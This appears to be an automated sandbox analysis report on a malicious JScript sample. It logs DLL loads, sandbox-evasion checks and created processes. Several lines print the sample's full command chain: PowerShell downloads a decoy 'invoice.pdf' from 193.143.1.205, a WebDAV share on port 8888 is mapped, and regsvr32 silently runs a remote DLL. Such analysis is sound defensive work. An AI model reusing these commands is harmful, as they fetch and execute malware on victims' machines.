Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6065.js.csv");ITextStream.WriteLine(" entry:8653 f:iwtuer");ITextStream.WriteLine(" exec:2 f:iwtuer");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49770

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4931			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4925			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5640	Thread sleep count: 4931 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5640	Thread sleep count: 4925 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6380	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1960	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5616	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1453813496.0000025F0B1E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPC%
Source: wscript.exe, 00000000.00000003.1378190181.00000178C1875000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000003.1451945376.0000025F0B24E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2666355296.000001FB95458000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.1451945376.0000025F0B24E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: svchost.exe, 00000009.00000002.2664986313.000001FB8FE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\58271113019116.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

